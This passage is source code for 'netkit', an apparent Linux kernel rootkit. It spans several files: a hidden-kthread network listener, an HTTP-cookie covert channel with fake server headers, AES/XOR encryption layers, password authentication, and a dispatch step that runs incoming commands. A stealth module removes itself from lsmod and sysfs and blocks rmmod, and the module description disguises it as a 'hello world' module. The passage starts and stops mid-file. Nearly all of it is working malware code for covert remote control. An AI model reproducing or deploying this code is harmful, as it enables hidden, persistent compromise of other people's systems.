CONFIG_PIPELINE_XOR_KEY "NETKIT_XOR" 16 | 17 | #include "pipeline/iface.h" 18 | 19 | extern const struct pipeline_ops *SERVER_PIPELINE_OPS_ARR[]; 20 | 21 | #endif -------------------------------------------------------------------------------- /src/io/iface.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "iface.h" 6 | #include "server/server.h" 7 | 8 | int io_init(void) 9 | { 10 | int retv = 0; 11 | 12 | retv = server_init(); 13 | if (retv < 0) 14 | return retv; 15 | 16 | return 0; 17 | } 18 | 19 | int io_exit(void) 20 | { 21 | int retv = 0; 22 | 23 | retv = server_exit(); 24 | if (retv < 0) 25 | return retv; 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /src/io/iface.h: -------------------------------------------------------------------------------- 1 | #ifndef IO__IFACE_H 2 | #define IO__IFACE_H 3 | 4 | #include 5 | 6 | #include "../sys/debug.h" 7 | #include "../pipeline/iface.h" 8 | 9 | int io_init(void); 10 | int io_exit(void); 11 | 12 | /** 13 | * initial function after receiving data 14 | * prevents IO children (i.e. server/device) from calling pipeline_process() out of nowhere for clarity 15 | */ 16 | static inline int io_process(const struct pipeline_ops **pipeline_ops_arr, u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 17 | { 18 | NETKIT_LOG("[*] starting io transformation pipeline...\n"); 19 | return pipeline_process(pipeline_ops_arr, req_buf, req_buflen, res_buf, res_buflen); 20 | } 21 | 22 | #endif -------------------------------------------------------------------------------- /src/io/server/server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "server.h" 17 | 18 | #include "../../netkit.h" 19 | #include "../../cmd/iface.h" 20 | #include "../../sys/mem.h" 21 | #include "../../sys/socket.h" 22 | #include "../../sys/debug.h" 23 | #include "../../sys/symbol.h" 24 | #include "../../sys/task.h" 25 | #include "../../sys/lock.h" 26 | 27 | static struct task_struct *task_conn_loop; 28 | 29 | static int server_conn_handler(void *args) 30 | { 31 | struct server_conn *packet = (struct server_conn*)args; 32 | u8* res_buf = NULL; 33 | size_t res_buflen = 0; 34 | int retv; 35 | 36 | NETKIT_LOG("[*] calling io_process (req_buflen: %lu)...\n", packet->req_buflen); 37 | retv = io_process(SERVER_PIPELINE_OPS_ARR, packet->req_buf, packet->req_buflen, &res_buf, &res_buflen); 38 | 39 | // if io_process failed, do not write to socket 40 | if (res_buflen == 0) 41 | goto LAB_REL_SOCK_NO_BUF; 42 | 43 | if (retv < 0) 44 | goto LAB_REL_SOCK; 45 | 46 | NETKIT_LOG("[*] writing %lu bytes...\n", res_buflen); 47 | retv = socket_write(packet->client_sk, res_buf, res_buflen); 48 | 49 | LAB_REL_SOCK: 50 | kzfree(res_buf, res_buflen); 51 | LAB_REL_SOCK_NO_BUF: 52 | sock_release(packet->client_sk); 53 | kzfree(packet, sizeof(*packet)); 54 | 55 | netkit_workers_decr(); 56 | 57 | return retv; 58 | } 59 | 60 | /** 61 | * Listens to connections, parses the packet and starts packet processing 62 | */ 63 | static int server_conn_loop(void* args) 64 | { 65 | //char kthread_name[29]; // strlen("netkit-conn-handler-") + 8 + 1 66 | unsigned int kthread_name_id; 67 | struct task_struct *conn_task; 68 | struct socket *server_sk; 69 | struct sockaddr_in *server_addr; 70 | struct socket *client_sk; 71 | struct server_conn *conn_data; 72 | int retv; 73 | 74 | netkit_workers_incr(); 75 | 76 | retv = socket_create(inet_addr(CONFIG_IO_SERVER_IP), htons(CONFIG_IO_SERVER_PORT), &server_sk, &server_addr); 77 | if (retv < 0) 78 | { 79 | NETKIT_LOG("[!] failed to get socket (err: %d)\n", retv); 80 | goto LAB_OUT_NO_SOCK; 81 | } 82 | 83 | retv = socket_listen(server_sk, server_addr); 84 | if (retv < 0) 85 | { 86 | NETKIT_LOG("[!] failed to listen (err: %d)\n", retv); 87 | goto LAB_OUT; 88 | } 89 | 90 | NETKIT_LOG("[+] started listening for connections\n"); 91 | 92 | while (likely(!kthread_should_stop())) 93 | { 94 | // conn polling needs to be optimized for speed, to make overhead minimal 95 | NETKIT_LOG("[*] checking for connection...\n"); 96 | 97 | if (unlikely(try_to_freeze())) 98 | continue; 99 | 100 | // use non-blocking socket to be able to respond to kthread_should_stop() and properly clean sockets 101 | retv = kernel_accept(server_sk, &client_sk, SOCK_NONBLOCK); 102 | if (likely(retv < 0)) 103 | goto LAB_CONN_REITER; 104 | 105 | NETKIT_LOG("[+] received connection\n"); 106 | 107 | // populate conn_data instance 108 | conn_data = kzmalloc(sizeof(*conn_data), GFP_KERNEL); 109 | if (IS_ERR(conn_data)) 110 | goto LAB_CONN_ERR_NO_CONN; 111 | 112 | // try to read conn_data content 113 | conn_data->client_sk = client_sk; 114 | retv = socket_read(conn_data->client_sk, &conn_data->req_buf, &conn_data->req_buflen); 115 | if (retv < 0) 116 | goto LAB_CONN_ERR; 117 | 118 | if (conn_data->req_buflen == 0) 119 | { 120 | NETKIT_LOG("[!] got 0 bytes from connection. giving no reply\n"); 121 | goto LAB_CONN_ERR; 122 | } 123 | 124 | // start kthread 125 | kthread_name_id = (int)get_random_long(); 126 | 127 | NETKIT_LOG("[*] starting conn handler...\n"); 128 | 129 | // child should free conn_data 130 | conn_task = KTHREAD_RUN_HIDDEN(server_conn_handler, conn_data, CONFIG_IO_SERVER_KTHR_HANDLER_NAME, kthread_name_id); 131 | if (IS_ERR(conn_task)) 132 | goto LAB_CONN_ERR; 133 | 134 | LAB_CONN_REITER: 135 | schedule_timeout_interruptible(HZ / 10); // 100ms check rate 136 | continue; 137 | 138 | LAB_CONN_ERR: 139 | if (conn_data->req_buf) 140 | kzfree(conn_data->req_buf, conn_data->req_buflen); 141 | 142 | kzfree(conn_data, sizeof(*conn_data)); 143 | conn_data = NULL; 144 | LAB_CONN_ERR_NO_CONN: 145 | sock_release(client_sk); 146 | client_sk = NULL; 147 | goto LAB_CONN_REITER; 148 | } 149 | 150 | NETKIT_LOG("[*] conn loop received kthread_stop...\n"); 151 | LAB_OUT: 152 | NETKIT_LOG("[*] stopping conn loop...\n"); 153 | sock_release(server_sk); 154 | 155 | LAB_OUT_NO_SOCK: 156 | NETKIT_LOG("[*] quitting conn loop...\n"); 157 | 158 | netkit_workers_decr(); 159 | 160 | return retv; 161 | } 162 | 163 | /** 164 | * Initializes the kthread for the server 165 | * Return: 0 if successful 166 | */ 167 | int server_init(void) 168 | { 169 | NETKIT_LOG("[*] starting server_conn_loop...\n"); 170 | 171 | task_conn_loop = KTHREAD_RUN_HIDDEN(server_conn_loop, NULL, CONFIG_IO_SERVER_KTHR_LOOP_NAME); 172 | if (IS_ERR(task_conn_loop)) 173 | { 174 | task_conn_loop = NULL; 175 | return PTR_ERR(task_conn_loop); 176 | } 177 | 178 | return 0; 179 | } 180 | 181 | int server_exit(void) 182 | { 183 | int retv; 184 | 185 | NETKIT_LOG("[*] trying to shutdown IO server...\n"); 186 | if (!task_conn_loop) 187 | { 188 | NETKIT_LOG("[!] task loop does not exist when exiting\n"); 189 | return -ECHILD; 190 | } 191 | 192 | // don't stop thread when errored (i.e. because of sockets) 193 | if (TASK_STATE(task_conn_loop) & (TASK_RUNNING | TASK_INTERRUPTIBLE | TASK_UNINTERRUPTIBLE)) 194 | { 195 | NETKIT_LOG("[*] stopping conn loop...\n"); 196 | retv = kthread_stop(task_conn_loop); 197 | if (retv < 0) 198 | NETKIT_LOG("[!] kthread stop returned error\n"); 199 | } else { 200 | NETKIT_LOG("[-] conn loop is not running\n"); 201 | } 202 | 203 | // block until all kthreads (including conn loop) are handled 204 | // use 1 since kref_init sets the counter to 1 205 | // drawback: if any conn handler crashes, this will wait infinitely 206 | //wait_event(all_conns_handled_wait_queue, kref_read(&active_conns) == 1); 207 | 208 | NETKIT_LOG("[+] all connections are closed\n"); 209 | 210 | return retv; 211 | } -------------------------------------------------------------------------------- /src/io/server/server.h: -------------------------------------------------------------------------------- 1 | #ifndef IO__SERVER__SERVER_H 2 | #define IO__SERVER__SERVER_H 3 | 4 | #include "../iface.h" 5 | 6 | int server_init(void); 7 | int server_exit(void); 8 | 9 | #define MAX_SERVER_PACKET_SIZE 8096 10 | 11 | struct server_conn { 12 | struct socket *client_sk; 13 | u8 *req_buf; 14 | size_t req_buflen; 15 | } __randomize_layout; 16 | 17 | #endif -------------------------------------------------------------------------------- /src/netkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "netkit.h" 7 | #include "stealth/iface.h" 8 | #include "io/iface.h" 9 | #include "sys/lock.h" 10 | #include "sys/task.h" 11 | 12 | static int netkit_main(void* args) 13 | { 14 | DECLARE_WAIT_QUEUE_HEAD(mod_state_wait_queue); 15 | int retv; 16 | 17 | NETKIT_LOG("[+] module started (debug: %d)\n", CONFIG_NETKIT_DEBUG); 18 | 19 | // sets up worker refcounts 20 | netkit_workers_init(); 21 | 22 | #if CONFIG_NETKIT_STEALTH 23 | NETKIT_LOG("[*] waiting for module to be ready...\n"); 24 | 25 | // poll every 100ms 26 | wait_event_interruptible_timeout(mod_state_wait_queue, THIS_MODULE->state == MODULE_STATE_LIVE, HZ / 10); 27 | 28 | NETKIT_LOG("[*] starting stealth...\n"); 29 | retv = stealth_init(); 30 | if (retv < 0) 31 | { 32 | NETKIT_LOG("[!] failed to start stealth (err: %d)\n", retv); 33 | return 0; 34 | } 35 | #endif 36 | 37 | NETKIT_LOG("[*] starting IO...\n"); 38 | retv = io_init(); 39 | if (retv < 0) 40 | NETKIT_LOG("[!] failed to start IO (err: %d)\n", retv); 41 | 42 | return 0; 43 | } 44 | 45 | static int __init netkit_init(void) 46 | { 47 | #if CONFIG_NETKIT_STEALTH 48 | // be able to delete things required by the module loader post THIS_MODULE->init() 49 | KTHREAD_RUN_HIDDEN(netkit_main, NULL, "netkit-main"); 50 | #else 51 | netkit_main(NULL); 52 | #endif 53 | 54 | return 0; 55 | } 56 | 57 | static void __exit netkit_exit(void) 58 | { 59 | NETKIT_LOG("[*] stopping module...\n"); 60 | 61 | io_exit(); 62 | 63 | #if CONFIG_NETKIT_STEALTH 64 | stealth_exit(); 65 | #endif 66 | 67 | NETKIT_LOG("[*] waiting for workers to exit...\n"); 68 | netkit_workers_wait(); 69 | 70 | NETKIT_LOG("[*] finished exiting module (^-^)7\n"); 71 | } 72 | 73 | module_init(netkit_init); 74 | module_exit(netkit_exit); 75 | 76 | MODULE_LICENSE("GPL"); 77 | MODULE_AUTHOR("Your Name"); 78 | MODULE_DESCRIPTION("A simple hello world kernel module"); 79 | -------------------------------------------------------------------------------- /src/netkit.h: -------------------------------------------------------------------------------- 1 | #ifndef NETKIT_H 2 | #define NETKIT_H 3 | 4 | #include "config.h" 5 | 6 | #define CONFIG_NETKIT_STEALTH ((!CONFIG_NETKIT_DEBUG) || CONFIG_NETKIT_STEALTH_FORCE) 7 | 8 | #endif -------------------------------------------------------------------------------- /src/pipeline/aes/aes.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "aes.h" 5 | 6 | #include "../iface.h" 7 | #include "../../netkit.h" 8 | #include "../../sys/crypto.h" 9 | #include "../../sys/debug.h" 10 | #include "../../sys/mem.h" 11 | 12 | static int layer_aes_decode(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 13 | { 14 | int retv; 15 | 16 | retv = aes256cbc_decrypt(CONFIG_PIPELINE_AES_KEY, 32, req_buf, req_buflen, res_buf, res_buflen); 17 | kzfree(req_buf, req_buflen); 18 | 19 | if (retv < 0) 20 | return retv; 21 | 22 | return 0; 23 | } 24 | 25 | static int layer_aes_encode(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 26 | { 27 | int retv; 28 | 29 | if (req_buflen == 0) 30 | { 31 | *res_buf = req_buf; 32 | *res_buflen = req_buflen; 33 | 34 | return 0; 35 | } 36 | 37 | retv = aes256cbc_encrypt(CONFIG_PIPELINE_AES_KEY, 32, req_buf, req_buflen, res_buf, res_buflen); 38 | kzfree(req_buf, req_buflen); 39 | 40 | if (retv < 0) 41 | return retv; 42 | 43 | return 0; 44 | } 45 | 46 | const struct pipeline_ops LAYER_AES_OPS = { 47 | .decode = layer_aes_decode, 48 | .encode = layer_aes_encode, 49 | .handle_err = NULL 50 | }; 51 | -------------------------------------------------------------------------------- /src/pipeline/aes/aes.h: -------------------------------------------------------------------------------- 1 | #ifndef PIPELINE__AES__AES_H 2 | #define PIPELINE__AES__AES_H 3 | 4 | #include 5 | 6 | #include "../iface.h" 7 | 8 | extern const struct pipeline_ops LAYER_AES_OPS; 9 | 10 | #endif -------------------------------------------------------------------------------- /src/pipeline/auth_password/auth_password.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "auth_password.h" 5 | 6 | #include "../../netkit.h" 7 | #include "../../sys/debug.h" 8 | 9 | #define SHA256_DIGEST_SIZE 32 10 | 11 | int layer_auth_password_decode(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 12 | { 13 | uint8_t hash[SHA256_DIGEST_SIZE]; 14 | size_t password_buflen; 15 | int retv; 16 | 17 | // require null-byte at end of password 18 | password_buflen = strnlen(req_buf, req_buflen); 19 | if (password_buflen == req_buflen) 20 | { 21 | retv = -EINVAL; 22 | goto LAB_ERR; 23 | } 24 | 25 | // does not include nullbyte 26 | NETKIT_LOG("[*] password: '%s'\n", req_buf); 27 | sha256(req_buf, password_buflen, hash); 28 | 29 | if (memcmp(CONFIG_PIPELINE_AUTH_PASSWORD_HASH, hash, SHA256_DIGEST_SIZE) != 0) 30 | { 31 | retv = -EKEYREJECTED; 32 | goto LAB_ERR; 33 | } 34 | 35 | // just pull memory to keep buf ptr on slab base 36 | req_buflen -= password_buflen + 1; 37 | memmove(req_buf, req_buf + password_buflen + 1, req_buflen); 38 | 39 | *res_buf = req_buf; 40 | *res_buflen = req_buflen; 41 | 42 | return 0; 43 | 44 | LAB_ERR: 45 | kzfree(req_buf, req_buflen); 46 | 47 | return retv; 48 | } 49 | 50 | const struct pipeline_ops LAYER_PASSWORD_AUTH_OPS = { 51 | .decode = layer_auth_password_decode, 52 | .encode = NULL, 53 | .handle_err = NULL 54 | }; 55 | -------------------------------------------------------------------------------- /src/pipeline/auth_password/auth_password.h: -------------------------------------------------------------------------------- 1 | #ifndef PIPELINE__AUTH_PASSWORD__AUTH_PASSWORD_H 2 | #define PIPELINE__AUTH_PASSWORD__AUTH_PASSWORD_H 3 | 4 | #include 5 | 6 | #include "../iface.h" 7 | 8 | void sha256(const u8 *data, unsigned int len, u8 *out); 9 | 10 | 11 | extern const struct pipeline_ops LAYER_PASSWORD_AUTH_OPS; 12 | 13 | #endif -------------------------------------------------------------------------------- /src/pipeline/http/http.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "../../netkit.h" 6 | #include "../../sys/crypto.h" 7 | #include "../../sys/mem.h" 8 | 9 | #include "http.h" 10 | 11 | #define SEARCH_STRING CONFIG_PIPELINE_HTTP_COOKIE_NAME "=" 12 | 13 | #define HTTP_STAT_OK_NAME "200 OK" 14 | #define HTTP_STAT_NOCONT_NAME "204 No Content" 15 | #define HTTP_STAT_UNPROC_NAME "422 Unprocessable Content" 16 | #define HTTP_STAT_INTLERR_NAME "500 Internal Server Error" 17 | 18 | #define HTTP_PROTO "HTTP/1.1" 19 | #define HTTP_FAKE_HEADERS_EMPTY "Vary: origin\r\n" \ 20 | "Access-Control-Allow-Credentials: true\r\n" \ 21 | "Access-Control-Allow-Methods: GET\r\n" \ 22 | "Access-Control-Allow-Headers: authorization\r\n" \ 23 | "Content-Type: text/html\r\n" \ 24 | "Server: ESF\r\n" \ 25 | "Content-Length: 0\r\n" \ 26 | "X-Xss-Protection: 0\r\n" \ 27 | "X-Frame-Options: SAMEORIGIN\r\n" \ 28 | "X-Content-Type-Options: nosniff\r\n" 29 | #define HTTP_FAKE_HEADERS_DYN_PRE "Vary: origin\r\n" \ 30 | "Access-Control-Allow-Credentials: true\r\n" \ 31 | "Access-Control-Allow-Methods: GET\r\n" \ 32 | "Access-Control-Allow-Headers: authorization\r\n" \ 33 | "Content-Type: text/html\r\n" \ 34 | "Server: ESF\r\n" \ 35 | "Content-Length: " 36 | #define HTTP_FAKE_HEADERS_DYN_POST "\r\n" \ 37 | "X-Xss-Protection: 0\r\n" \ 38 | "X-Frame-Options: SAMEORIGIN\r\n" \ 39 | "X-Content-Type-Options: nosniff\r\n" 40 | 41 | #define HTTP_RES(name, cookie_hdr) HTTP_PROTO " " name "\r\n" \ 42 | HTTP_FAKE_HEADERS_EMPTY \ 43 | cookie_hdr\ 44 | "\r" 45 | 46 | #define HTTP_RES_NOCONT HTTP_RES(HTTP_STAT_NOCONT_NAME, "") 47 | #define HTTP_RES_UNPROC HTTP_RES(HTTP_STAT_UNPROC_NAME, "") 48 | #define HTTP_RES_INTLERR HTTP_RES(HTTP_STAT_INTLERR_NAME, "") 49 | 50 | // split up cookie hdr, because sprintf has length limitations. instead use strcat 51 | #define HTTP_COOKIE_HDR_PRE "Set-Cookie: " CONFIG_PIPELINE_HTTP_COOKIE_NAME "=" 52 | #define HTTP_COOKIE_HDR_POST "; expires=Sun, 25-Aug-2024 20:12:26 GMT; path=/; Secure; HttpOnly; priority=high\r\n" 53 | 54 | // transmit it as body, since header has a short length (8kb or so) 55 | #define HTTP_RES_OK_PRE_HEADERS HTTP_PROTO " " HTTP_STAT_OK_NAME "\r\n" \ 56 | HTTP_FAKE_HEADERS_DYN_PRE "\r\n" 57 | #define HTTP_RES_OK_POST "\r" 58 | 59 | enum { 60 | HTTP_STAT_OK = 200, 61 | HTTP_STAT_NOCONT = 204, 62 | HTTP_STAT_UNPROC = 422, 63 | HTTP_STAT_INTLERR = 500 64 | }; 65 | 66 | static int set_http_simple(const char *res_content, u8 **res_buf, size_t *res_buflen) 67 | { 68 | int retv; 69 | 70 | *res_buflen = strlen(res_content); 71 | *res_buf = kzmalloc(*res_buflen, GFP_KERNEL); 72 | if (IS_ERR(*res_buf)) 73 | { 74 | retv = PTR_ERR(*res_buf); 75 | *res_buf = NULL; 76 | *res_buflen = 0; 77 | return retv; 78 | } 79 | 80 | memcpy(*res_buf, res_content, *res_buflen); 81 | 82 | return 0; 83 | } 84 | 85 | static int set_http_ok(const u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 86 | { 87 | u8 *encoded_buf; 88 | size_t encoded_buflen; 89 | int retv; 90 | size_t http_body_len; 91 | char http_body_len_str[21]; // len(str(2**64-1)) + nullbyte 92 | 93 | retv = hex_encode(req_buf, req_buflen, &encoded_buf, &encoded_buflen); 94 | if (retv < 0) 95 | return retv; 96 | 97 | http_body_len = encoded_buflen; 98 | sprintf(http_body_len_str, "%lu", http_body_len); 99 | 100 | // +2 bcs of the extra \r\n 101 | *res_buflen = strlen(HTTP_PROTO " " HTTP_STAT_OK_NAME "\r\n" HTTP_FAKE_HEADERS_DYN_PRE "\r\n") \ 102 | + strlen(http_body_len_str) + strlen(HTTP_FAKE_HEADERS_DYN_POST) + encoded_buflen + 2; 103 | *res_buf = kzmalloc(*res_buflen, GFP_KERNEL); 104 | if (IS_ERR(*res_buf)) 105 | { 106 | retv = PTR_ERR(*res_buf); 107 | *res_buf = NULL; 108 | *res_buflen = 0; 109 | 110 | return retv; 111 | } 112 | 113 | strcat(*res_buf, HTTP_PROTO " " HTTP_STAT_OK_NAME "\r\n" HTTP_FAKE_HEADERS_DYN_PRE); 114 | strcat(*res_buf, http_body_len_str); 115 | strcat(*res_buf, HTTP_FAKE_HEADERS_DYN_POST "\r\n"); 116 | strncat(*res_buf, encoded_buf, encoded_buflen); // no nullbyte at end 117 | strcat(*res_buf, "\r"); 118 | 119 | kzfree(encoded_buf, encoded_buflen); 120 | 121 | (*res_buf)[*res_buflen-1] = '\n'; 122 | 123 | return 0; 124 | } 125 | 126 | static int layer_http_decode(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 127 | { 128 | char *search_start; 129 | char *cookie_start; 130 | size_t cookie_size; 131 | int retv; 132 | 133 | search_start = strnstr(req_buf, SEARCH_STRING, req_buflen); 134 | if (search_start == NULL) 135 | { 136 | retv = -EINVAL; 137 | goto LAB_OUT; 138 | } 139 | 140 | cookie_start = search_start + strlen(SEARCH_STRING); 141 | 142 | // strchr but with multiple chars, and stop when buflen is met 143 | for (cookie_size = 0; (void*)(cookie_start + cookie_size) < (void*)(req_buf + req_buflen) && IS_HEX(cookie_start[cookie_size]); cookie_size++); 144 | 145 | retv = hex_decode(cookie_start, cookie_size, res_buf, res_buflen); 146 | 147 | LAB_OUT: 148 | kzfree(req_buf, req_buflen); 149 | 150 | if (retv < 0) 151 | return retv; 152 | 153 | return 0; 154 | } 155 | 156 | static int layer_http_encode(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 157 | { 158 | int retv; 159 | 160 | if (req_buflen == 0) 161 | return set_http_simple(HTTP_RES_NOCONT, res_buf, res_buflen); 162 | 163 | retv = set_http_ok(req_buf, req_buflen, res_buf, res_buflen); 164 | kzfree(req_buf, req_buflen); 165 | 166 | return retv; 167 | } 168 | 169 | static int layer_http_handle_err(int retv, u8 **res_buf, size_t *res_buflen) 170 | { 171 | //if (retv == -EINVAL) 172 | // return set_http_simple(HTTP_RES_UNPROC, res_buf, res_buflen); 173 | 174 | return set_http_simple(HTTP_RES_UNPROC, res_buf, res_buflen); 175 | } 176 | 177 | 178 | const struct pipeline_ops LAYER_HTTP_OPS = { 179 | .decode = layer_http_decode, 180 | .encode = layer_http_encode, 181 | .handle_err = layer_http_handle_err 182 | }; 183 | -------------------------------------------------------------------------------- /src/pipeline/http/http.h: -------------------------------------------------------------------------------- 1 | #ifndef PIPELINE__HTTP__HTTP_H 2 | #define PIPELINE__HTTP__HTTP_H 3 | 4 | #include "../iface.h" 5 | 6 | extern const struct pipeline_ops LAYER_HTTP_OPS; 7 | 8 | #endif -------------------------------------------------------------------------------- /src/pipeline/iface.c: -------------------------------------------------------------------------------- 1 | #include "iface.h" 2 | 3 | #include "../sys/debug.h" 4 | #include "../cmd/iface.h" 5 | 6 | 7 | // performs all ->encodes in pipeline array, then cmd, then ->decodes; if error happens then it calls every ->handle_err func in stack pop order 8 | int pipeline_process(const struct pipeline_ops **pl_ops_arr, u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 9 | { 10 | int index; 11 | pipeline_func_t *func; 12 | pipeline_func_handle_err_t *func_err; 13 | u8 *middle_buf; 14 | size_t middle_buflen; 15 | int retv; 16 | 17 | // decode each layer 18 | for (index = 0; pl_ops_arr[index] != NULL; index++) 19 | { 20 | func = pl_ops_arr[index]->decode; 21 | if (func == NULL) 22 | continue; 23 | 24 | retv = NETKIT_PIPELINE_CALL(func, req_buf, req_buflen, &middle_buf, &middle_buflen); 25 | if (retv < 0) 26 | goto LAB_HANDLE_ERR; 27 | 28 | req_buf = middle_buf; 29 | req_buflen = middle_buflen; 30 | } 31 | 32 | // execute commands 33 | retv = NETKIT_PIPELINE_CALL(cmd_process, req_buf, req_buflen, &middle_buf, &middle_buflen); 34 | index--; 35 | if (retv < 0) 36 | goto LAB_HANDLE_ERR; 37 | 38 | req_buf = middle_buf; 39 | req_buflen = middle_buflen; 40 | 41 | LAB_ENCODE: 42 | // encode. start with the previous level 43 | for (; index >= 0; index--) 44 | { 45 | func = pl_ops_arr[index]->encode; 46 | if (func == NULL) 47 | continue; 48 | 49 | retv = NETKIT_PIPELINE_CALL(func, req_buf, req_buflen, &middle_buf, &middle_buflen); 50 | if (retv < 0) 51 | goto LAB_HANDLE_ERR; 52 | 53 | req_buf = middle_buf; 54 | req_buflen = middle_buflen; 55 | } 56 | 57 | *res_buf = req_buf; 58 | *res_buflen = req_buflen; 59 | 60 | return 0; 61 | 62 | LAB_HANDLE_ERR: 63 | // handle errors. start with the current level, so http can catch http errors 64 | for (; index >= 0; index--) 65 | { 66 | // when error is caught, go to next level 67 | func_err = pl_ops_arr[index]->handle_err; 68 | if (func_err == NULL) 69 | continue; 70 | 71 | retv = NETKIT_PIPELINE_CALL_ERR(func_err, retv, &middle_buf, &middle_buflen); 72 | 73 | req_buf = middle_buf; 74 | req_buflen = middle_buflen; 75 | 76 | // here for index == 0, since index-- == -1, so no LAB_ENCODE 77 | if (retv >= 0) 78 | { 79 | index--; 80 | goto LAB_ENCODE; 81 | } 82 | } 83 | 84 | // no need to clean here (res_buf is not set and req_buf is already cleared) 85 | 86 | return retv; 87 | } -------------------------------------------------------------------------------- /src/pipeline/iface.h: -------------------------------------------------------------------------------- 1 | #ifndef PIPELINE__IFACE_H 2 | #define PIPELINE__IFACE_H 3 | 4 | #include 5 | #include 6 | 7 | typedef int (pipeline_func_t)(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 8 | typedef int (pipeline_func_handle_err_t)(int retv, u8 **res_buf, size_t *res_buflen); 9 | 10 | struct pipeline_ops { 11 | pipeline_func_t *decode; 12 | pipeline_func_t *encode; 13 | pipeline_func_handle_err_t *handle_err; 14 | }; 15 | 16 | int pipeline_process(const struct pipeline_ops **pipeline_ops_arr, u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /src/pipeline/xor/xor.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "xor.h" 5 | 6 | #include "../iface.h" 7 | #include "../../netkit.h" 8 | #include "../../sys/crypto.h" 9 | #include "../../sys/mem.h" 10 | #include "../../sys/debug.h" 11 | 12 | static int _do_xor(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 13 | { 14 | // works with req_buflen == 0 15 | xor_crypt_diff_size(req_buf, req_buflen, CONFIG_PIPELINE_XOR_KEY, sizeof(CONFIG_PIPELINE_XOR_KEY), req_buf); 16 | 17 | *res_buf = req_buf; 18 | *res_buflen = req_buflen; 19 | 20 | return 0; 21 | } 22 | 23 | static int layer_xor_decode(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 24 | { 25 | return _do_xor(req_buf, req_buflen, res_buf, res_buflen); 26 | } 27 | 28 | static int layer_xor_encode(u8 *req_buf, size_t req_buflen, u8 **res_buf, size_t *res_buflen) 29 | { 30 | return _do_xor(req_buf, req_buflen, res_buf, res_buflen); 31 | } 32 | 33 | const struct pipeline_ops LAYER_XOR_OPS = { 34 | .decode = layer_xor_decode, 35 | .encode = layer_xor_encode, 36 | .handle_err = NULL 37 | }; 38 | 39 | -------------------------------------------------------------------------------- /src/pipeline/xor/xor.h: -------------------------------------------------------------------------------- 1 | #ifndef PIPELINE__XOR__XOR_H 2 | #define PIPELINE__XOR__XOR_H 3 | 4 | #include "../iface.h" 5 | 6 | extern const struct pipeline_ops LAYER_XOR_OPS; 7 | 8 | #endif -------------------------------------------------------------------------------- /src/stealth/iface.c: -------------------------------------------------------------------------------- 1 | #include "iface.h" 2 | 3 | #include "module/module.h" 4 | 5 | int stealth_init(void) 6 | { 7 | return module_init_(); 8 | } 9 | 10 | /** 11 | * do the bare minimum to get a successfull silent and clean exit 12 | */ 13 | int stealth_exit(void) 14 | { 15 | return module_exit_(); 16 | } -------------------------------------------------------------------------------- /src/stealth/iface.h: -------------------------------------------------------------------------------- 1 | #ifndef STEALTH__IFACE_H 2 | #define STEALTH__IFACE_H 3 | 4 | int stealth_init(void); 5 | int stealth_exit(void); 6 | 7 | #endif -------------------------------------------------------------------------------- /src/stealth/module/module.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "module.h" 7 | 8 | #include "../../sys/symbol.h" 9 | #include "../../sys/file.h" 10 | #include "../../sys/debug.h" 11 | 12 | // module_init already exists in module.h 13 | int module_init_(void) 14 | { 15 | void(*mod_sysfs_teardown)(struct module*); 16 | 17 | // remove lsmod 18 | list_del_rcu(&THIS_MODULE->list); 19 | 20 | // remove sysfs files 21 | mod_sysfs_teardown = (void(*)(struct module*))sym_lookup("mod_sysfs_teardown"); 22 | mod_sysfs_teardown(THIS_MODULE); 23 | 24 | // make it unable to rmmod, even when visible somehow 25 | try_module_get(THIS_MODULE); 26 | 27 | return 0; 28 | } 29 | 30 | int module_exit_(void) 31 | { 32 | return 0; 33 | } -------------------------------------------------------------------------------- /src/stealth/module/module.h: -------------------------------------------------------------------------------- 1 | #ifndef STEALTH__MODULE__MODULE_H 2 | #define STEALTH__MODULE__MODULE_H 3 | 4 | int module_init_(void); 5 | int module_exit_(void); 6 | 7 | #endif -------------------------------------------------------------------------------- /src/sys/crypto.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "crypto.h" 7 | 8 | #include "mem.h" 9 | #include "debug.h" 10 | 11 | void xor_crypt_diff_size(const u8 *req_buf, size_t req_buflen, const u8 *key_buf, size_t key_buflen, u8 *out_buf) 12 | { 13 | for (size_t i = 0; likely(i < req_buflen); i++) 14 | out_buf[i] = req_buf[i % req_buflen] ^ key_buf[i % key_buflen]; 15 | } 16 | 17 | static void do_xor_same_size(size_t len, const u8 *req_1_buf, const u8 *req_2_buf, u8 *out_buf) 18 | { 19 | size_t extra_len = len % 8; 20 | 21 | for (size_t i = 0; likely(i < len - extra_len); i += 8) 22 | *(long*)&(out_buf[i]) = *(long*)&(req_2_buf[i]) ^ *(long*)&(req_1_buf[i]); 23 | 24 | for (size_t i = len - extra_len; likely(i < len); i++) 25 | out_buf[i] = req_2_buf[i] ^ 